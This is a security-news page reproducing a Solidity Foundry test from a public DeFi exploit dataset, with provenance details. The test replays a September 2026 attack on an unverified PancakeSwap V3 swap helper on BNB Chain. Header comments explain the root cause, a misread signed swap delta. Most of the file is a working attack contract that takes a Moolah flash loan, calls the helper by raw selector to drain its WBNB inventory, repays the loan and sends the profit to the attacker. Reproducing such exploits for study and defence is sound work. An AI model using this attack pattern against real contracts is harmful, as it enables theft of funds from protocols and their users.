Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/PancakeV3SwapHelper_exp.sol

Public reproduction file for dataset entry PancakeV3SwapHelper.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/PancakeV3SwapHelper_exp.sol187 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~1.6488688845 BNB (~$1.3K)
8// Attacker : https://bscscan.com/address/0x804D75DB19Ef595FD7F540262FAFa2FdA3E7d101
9// Attack Contract : https://bscscan.com/address/0x43492c467986eaE378A1f8F8afC0B6f2417C3A2f
10// Vulnerable Contract : https://bscscan.com/address/0x222c8580eAa32f6F5A728bDA0129Cfa485eCc52D
11// Attack Tx : https://bscscan.com/tx/0x70bc4ff8439f74d26d454a53e9a135ac3659a958aa3462218d0db7ed55cf5104
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x222c8580eAa32f6F5A728bDA0129Cfa485eCc52D#code
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/exvulsec/status/2102687289730310458
19// Hacking God : N/A
20//
21// ROOT CAUSE (inferred from the unverified helper's runtime behavior and the attack trace):
22// Pancake V3 reports signed swap deltas: for USDT -> WBNB, the USDT input is positive and the
23// WBNB output is negative. The helper uses the positive USDT delta as the WBNB amount to unwrap.
24// At the attack state the helper holds 1.651021225164017256 WBNB, while the pool returns only
25// 0.002089397784051482 WBNB. It therefore unwraps and pays out its pre-existing WBNB inventory.
26//
27// EXPLOIT (single atomic transaction; reconstructed from the real transaction trace):
28// 1. Borrow 3.651021225164017256 USDT from Moolah: 1.651021225164017256 for the vulnerable call
29// plus a 2 USDT buffer for repaying the flash loan.
30// 2. Call the helper with USDT, the 0.01% Pancake V3 fee tier, amountIn = 1.651021225164017256,
31// param4 = 1, and the attack contract as recipient. The pool returns ~0.002089 WBNB, but the
32// helper unwraps and pays the recipient 1.651021225164017256 BNB from its inventory.
33// 3. Wrap 0.05 BNB, then buy exactly 1.651021225164017256 USDT through Pancake V2. The swap spends
34// 0.002095724137859296 WBNB; unwrap the remainder and repay the full Moolah principal.
35// 4. Send the remaining 1.648925501026157960 BNB to the attacker EOA. This is the pre-gas profit;
36// subtracting the original 1,132,330-gas transaction fee at 0.05 gwei gives 1.648868884526157960 BNB.
37//
38// This PoC forks immediately before the attack transaction and replays the real Moolah loan,
39// vulnerable helper, and Pancake V2 buyback against live BSC state. The unverified helper's source
40// is unavailable, so its entry point is called using the selector and argument layout observed on-chain.
42interface IMoolahSwapHelper {
43 function flashLoan(
44 address token,
45 uint256 amount,
46 bytes calldata data
47 ) external;
50interface IPancakeV2SwapHelperRouter {
51 function swapTokensForExactTokens(
52 uint256 amountOut,
53 uint256 amountInMax,
54 address[] calldata path,
55 address to,
56 uint256 deadline
57 ) external returns (uint256[] memory amounts);
60interface IWrappedBNBSwapHelper {
61 function balanceOf(
62 address account
63 ) external view returns (uint256);
64 function approve(
65 address spender,
66 uint256 amount
67 ) external returns (bool);
68 function deposit() external payable;
69 function withdraw(
70 uint256 amount
71 ) external;
74contract PancakeV3SwapHelperExploitTest is BaseTestWithBalanceLog {
75 bytes32 private constant ATTACK_TX = 0x70bc4ff8439f74d26d454a53e9a135ac3659a958aa3462218d0db7ed55cf5104;
76 address private constant ATTACKER = 0x804D75DB19Ef595FD7F540262FAFa2FdA3E7d101;
77 IERC20 private constant USDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955);
78 IWrappedBNBSwapHelper private constant WBNB_TOKEN =
79 IWrappedBNBSwapHelper(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
80 address private constant VICTIM = 0x222C8580eaA32f6f5a728bda0129CFA485eCc52D;
81 IMoolahSwapHelper private constant MOOLAH = IMoolahSwapHelper(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);
82 IPancakeV2SwapHelperRouter private constant PANCAKE_V2_ROUTER =
83 IPancakeV2SwapHelperRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
84 bytes4 private constant SWAP_SELECTOR = 0x6c26c88a;
85 uint24 private constant POOL_FEE = 100;
86 uint256 private constant PARAM4 = 1;
87 uint256 private constant FLASHLOAN_BUFFER = 2 ether;
88 uint256 private constant WBNB_BUYBACK_SEED = 0.05 ether;
89 uint256 private constant EXPECTED_VICTIM_INVENTORY = 1_651_021_225_164_017_256;
90 uint256 private constant EXPECTED_WBNB_BUYBACK = 2_095_724_137_859_296;
91 uint256 private constant EXPECTED_POOL_OUTPUT = 2_089_397_784_051_482;
92 uint256 private constant EXPECTED_ATTACKER_BNB_BEFORE_GAS = 1_648_925_501_026_157_960;
94 PancakeV3SwapHelperAttack private attackContract;
96 function setUp() public {
97 vm.createSelectFork("bsc", ATTACK_TX);
98 fundingToken = address(0);
99 attackContract = new PancakeV3SwapHelperAttack();
100 attacker = ATTACKER;
102 vm.label(VICTIM, "Unverified swap helper");
103 vm.label(address(USDT_TOKEN), "USDT");
104 vm.label(address(WBNB_TOKEN), "WBNB");
105 vm.label(address(MOOLAH), "Moolah");
106 vm.label(address(PANCAKE_V2_ROUTER), "Pancake V2 Router");
107 vm.label(ATTACKER, "Attacker");
108 }
110 function testExploit() public balanceLog {
111 uint256 amountIn = WBNB_TOKEN.balanceOf(VICTIM);
112 assertEq(amountIn, EXPECTED_VICTIM_INVENTORY, "victim inventory changed at attack tx");
114 attackContract.attack(amountIn);
116 uint256 attackerBnb = ATTACKER.balance;
117 emit log_named_decimal_uint("Victim WBNB inventory drained", amountIn, 18);
118 emit log_named_decimal_uint("Attacker BNB profit before gas", attackerBnb, 18);
120 assertEq(attackerBnb, EXPECTED_ATTACKER_BNB_BEFORE_GAS, "attacker BNB profit differs from tx trace");
121 assertEq(USDT_TOKEN.balanceOf(address(attackContract)), 0, "Moolah loan was not fully repaid");
122 assertEq(WBNB_TOKEN.balanceOf(address(attackContract)), 0, "leftover WBNB was not unwrapped");
123 assertEq(
124 WBNB_TOKEN.balanceOf(VICTIM), EXPECTED_POOL_OUTPUT, "victim should retain only the actual V3 swap output"
125 );
126 }
129contract PancakeV3SwapHelperAttack {
130 IERC20 private constant USDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955);
131 IWrappedBNBSwapHelper private constant WBNB_TOKEN =
132 IWrappedBNBSwapHelper(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
133 address private constant VICTIM = 0x222C8580eaA32f6f5a728bda0129CFA485eCc52D;
134 address private constant ATTACKER = 0x804D75DB19Ef595FD7F540262FAFa2FdA3E7d101;
135 IMoolahSwapHelper private constant MOOLAH = IMoolahSwapHelper(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);
136 IPancakeV2SwapHelperRouter private constant PANCAKE_V2_ROUTER =
137 IPancakeV2SwapHelperRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
139 bytes4 private constant SWAP_SELECTOR = 0x6c26c88a;
140 uint24 private constant POOL_FEE = 100;
141 uint256 private constant PARAM4 = 1;
142 uint256 private constant FLASHLOAN_BUFFER = 2 ether;
143 uint256 private constant WBNB_BUYBACK_SEED = 0.05 ether;
144 uint256 private constant EXPECTED_WBNB_BUYBACK = 2_095_724_137_859_296;
146 function attack(
147 uint256 amountIn
148 ) external {
149 MOOLAH.flashLoan(address(USDT_TOKEN), amountIn + FLASHLOAN_BUFFER, abi.encode(amountIn));
150 }
152 function onMoolahFlashLoan(
153 uint256 loanAmount,
154 bytes calldata data
155 ) external {
156 require(msg.sender == address(MOOLAH), "not Moolah");
157 uint256 amountIn = abi.decode(data, (uint256));
158 require(loanAmount == amountIn + FLASHLOAN_BUFFER, "unexpected Moolah loan amount");
160 USDT_TOKEN.approve(VICTIM, amountIn);
161 (bool success,) = VICTIM.call(
162 abi.encodeWithSelector(
163 SWAP_SELECTOR, address(USDT_TOKEN), POOL_FEE, amountIn, PARAM4, block.timestamp, address(this)
164 )
165 );
166 require(success, "victim swap call reverted");
168 // Reproduce the attack's WBNB seed, then buy back exactly the USDT needed for repayment.
169 WBNB_TOKEN.deposit{value: WBNB_BUYBACK_SEED}();
170 WBNB_TOKEN.approve(address(PANCAKE_V2_ROUTER), type(uint256).max);
171 address[] memory path = new address[](2);
172 path[0] = address(WBNB_TOKEN);
173 path[1] = address(USDT_TOKEN);
174 uint256[] memory amounts = PANCAKE_V2_ROUTER.swapTokensForExactTokens(
175 amountIn, type(uint256).max, path, address(this), block.timestamp
176 );
177 require(amounts[0] == EXPECTED_WBNB_BUYBACK, "unexpected Pancake V2 WBNB input");
179 WBNB_TOKEN.withdraw(WBNB_TOKEN.balanceOf(address(this)));
180 USDT_TOKEN.approve(address(MOOLAH), loanAmount);
182 (bool sent,) = ATTACKER.call{value: address(this).balance}("");
183 require(sent, "attacker BNB payout failed");
184 }
186 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “PancakeV3SwapHelper” (2026-09-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x804d75db19ef595fd7f540262fafa2fda3e7d101

  • Attack Contract

    0x43492c467986eae378a1f8f8afc0b6f2417c3a2f

  • Vulnerable Contract

    0x222c8580eaa32f6f5a728bda0129cfa485ecc52d

  • Attack Tx

    0x70bc4ff8439f74d26d454a53e9a135ac3659a958aa3462218d0db7ed55cf5104

File record

Name
PancakeV3SwapHelper
Path
src/test/2026-09/PancakeV3SwapHelper_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8bf927f9713794c2ed85302c8aa79129dd13a7f9
Language
Solidity
Size
188 lines
Date
2026-09-23
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/PancakeV3SwapHelper_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8bf927f9713794c2ed85302c8aa79129dd13a7f9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.